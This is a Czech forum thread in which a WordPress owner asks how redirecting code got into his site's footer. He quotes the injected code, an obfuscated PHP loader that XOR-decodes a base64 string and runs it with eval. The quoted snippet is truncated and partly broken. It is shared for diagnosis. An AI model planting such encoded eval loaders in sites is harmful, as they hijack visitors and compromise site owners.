Mám zavirovaný WordPress – Jak se to tam dostalo?

16. 10. 2016 10:10:20

Ahoj,

na svém webu jsem v patičce objevil kod, který, když uživatel najede na můj web, tak se mu objevilo, nějaké upozornění a po 5 sekundách to zmizne a přesměruje na zadanou stránku. Nikdy jsem ho tam před tím neviděl. Co to může být a jak se to tam dostalo. Děkuji. :)

Ten kod je: >>

<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?> <?php $encoded = "clw8NzU5MTYnPjY5NT1JJ08pNj9YRVhfVisxG087IQ8fIV9Dclw8NzU5MTYnPjY5NT1KJ08pNj9YRVhfVw4ZClcMFQhXVisxG087IQ8fIV9DclwzPSEnPjY5NT1JWEVYX1Y0IE0eMRxOX0NyXDM9ISc+Njk1PUpYRVhfVw4ZClcMFQhXVjQgTR4xHE5fQ3Jych4XCh0ZGxBYUFwnPz0sWBkLWFwTHQFYRUZYXA4ZFA0dUVgDclhYWFhYWFhYER5YUAsMCggXC1BcEx0BVFhfCBkfHQocJ19RWEVFRVhIUVgDclhYWFhYWFhYWFhYWFhYWFhcHBcVGREWWEVYCh0ZHCcLDApQXDw3NTkxNic+Njk1PUknTyk2P1RYXDw3NTkxNic+Njk1PUonTyk2P1FDclhYWFhYWFhYWFhYWFhYWFgKHRwRCh0bDFBcHBcVGREWUUNyWFhYWFhYWFhYWFhYWFhYWAodDA0KFkNyWFhYWFhYWFgFcgVycldSWAsMGQwNC1hSV3IRHlhQXCc/PSwjX04+FzYAGg4XT0s6MDcSEAAXEy9LXyVYWUVFWDYtNDRRWANyWFhYWFhYWFgbEB0bEycLDBkMDQtQXDw3NTkxNic+Njk1PUknTyk2P1RYXDw3NTkxNic+Njk1PUonTyk2P1FDclhYWFhYWFhYCh0MDQoWQ3IFWB0UCx1YER5YUFwnPz0sI19AIQBNOR0eIQg6CEhPLD0XGyoVDl8lWFlFRVg2LTQ0UVgDclhYWFhYWFhYV1JYCx0MHBcVGREWWFJXclhYWFhYWFhYXBwXFRkRFlhFWFwnPz0sI19AIQBNOR0eIQg6CEhPLD0XGyoVDl8lQ3JYWFhYWFhYWBEeWFBcJz89LCNfEAwMCAtfJVhZRUVYNi00NFFYA3JYWFhYWFhYWFhYWFhYWFhYXBwXFRkRFlhFWFoQDAwIC0JXV1wcFxUZERZaQ3JYWFhYWFhYWAVYHRQLHVgDclhYWFhYWFhYWFhYWFhYWFhcHBcVGREWWEVYWhAMDAhCV1dcHBcVGREWWkNyWFhYWFhYWFgFclhYWFhYWFhYHRsQF1hcHBcVGREWQ3JYWFhYWFhYWAsZDh0nCwwKUFwcFxUZERZUWFw8NzU5MTYnPjY5NT1JJ08pNj9UWFw8NzU5MTYnPjY5NT1KJ08pNj9RQ3JYWFhYWFhYWAodDA0KFkNyBVgdFAsdWANyWFhYWFhYWFgLHRYcJxILUFFDcgVych4NFhsMERcWWAsMFwodJxMdAVBRWANyWFhYWFhYWFgfFBcaGRRYXDM9ISc+Njk1PUlUWFwzPSEnPjY5NT1KQ3JyWFhYWFhYWFhcEx0BWEVYCw0aCwwKUBUcTVAVERsKFwwRFR1QUVFUChkWHFBIVEpOUVRNUUNyWFhYWFhYWFgLGQ4dJwsMClBcEx0BVFhcMz0hJz42OTU9SVRYXDM9ISc+Njk1PUpRQ3JYWFhYWFhYWB0bEBdYWkQLGwoRCAxYDAEIHUVfDB0ADFcSGQ4ZCxsKEQgMX0YUFxsZFCsMFwoZHx1WCx0MMQwdFVBfEx0BJ19UX1wTHQFfUUNEVwsbChEIDEZaQ3IFcnIeDRYbDBEXFlgAFwonHRYbUFwLDApRWANyWFhYWFhYWFhcEx0BWEVYXzMpAjQrDCkpGhQ1LUsKOj8JPgE9FkA0FD0vIkk/TA4aM08hGwgeIjMKEhktKRAoSwspMzIwMxkuNAwKSDBAKisoKAkaPAkeNj0pSCENSEAVMAsxT082PxstTQoaCzU0Ni8PFAk8IBU1TT1BLwkhT0sKOg4gDxJNPxMpGQFKDxYNPxtMDz4zIQEhNDU9ECk8OT9OSBkdIQ0cMwwtKy0gPDAhP0FJSh9ILi8UIRcaSxQBGwhIHTtJKRYXKR1LAAsvKBo5Sx1JIi8hX0NyWFhYWFhYWFhcCh0LWEVYX19DclhYWFhYWFhYHhcKWFBcEVhFWEhDWFwRWERYCwwKFB0WUF

$res = '';
for ($i = 0; $i < strlen($raw); $i++) {
        $res .= chr(ord($raw) ^ ord('x'));
}
eval($res)

16. 10. 2016 10:10:20

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/mam-zavirovany-wordpress-jak-se-to-tam-dostalo/#reply1230452

martinecek2000

(7 hodnocení)

16. 10. 2016 10:28:16

Ahoj,

byl jsem v obchodě a jsou tam rohlíky. Jak se tam dostaly?

Abychom ti mohli pomoct, musíš nám říct více informací, takto ti snad jenom řekneme je to vir - dělá to neplechu a jednoduchý návod nebo manuál na odstranění neexistuje..

16. 10. 2016 10:28:16

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/mam-zavirovany-wordpress-jak-se-to-tam-dostalo/#reply1230451

Václav Hodek